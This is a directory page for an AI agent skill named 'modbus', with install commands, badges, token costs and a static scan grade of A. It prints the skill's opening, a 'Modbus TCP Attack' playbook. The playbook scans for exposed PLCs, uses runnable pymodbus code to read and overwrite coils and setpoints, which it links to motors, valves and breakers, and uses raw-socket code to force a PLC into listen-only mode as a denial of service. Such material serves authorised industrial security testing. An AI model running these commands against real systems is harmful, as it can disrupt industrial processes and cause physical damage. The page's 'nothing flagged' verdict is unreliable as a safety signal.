Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill modbusgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/modbus)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/modbus"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/modbus/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/modbus"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/modbus.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00059 | $0.01207 |
| Opus 5 | $0.00030 | $0.00603 |
| Sonnet 5 | $0.00012 | $0.00241 |
| Haiku 4.5 | $0.00006 | $0.00121 |
Grade A, and why
modbus scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
97% identical to ics-modbus — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 117 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Modbus TCP Attack
Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.
Discover
# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24
# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)
Read everything
# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:", c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:", c.read_holding_registers(0, 100).registers)
print("Input regs:", c.read_input_registers(0, 100).registers)
c.close()
'
# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs
# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5
Identify the device (FC43 / MEI)
# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}
Write attacks
Single coil flip (DO output)
c.write_coil(address=10, value=True) # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close
Tamper holding registers (process setpoints)
c.write_register(address=100, value=9999) # often a setpoint or limit
Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")
# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 117 lines · 59 tokens per session scan A ab1cf09a53b5
modbus is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 59 tokens to every session and 1,207 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 97% identical to ics-modbus, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
ot-iot-device-security
../../../cloud-infra/ot-iot-device-security/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.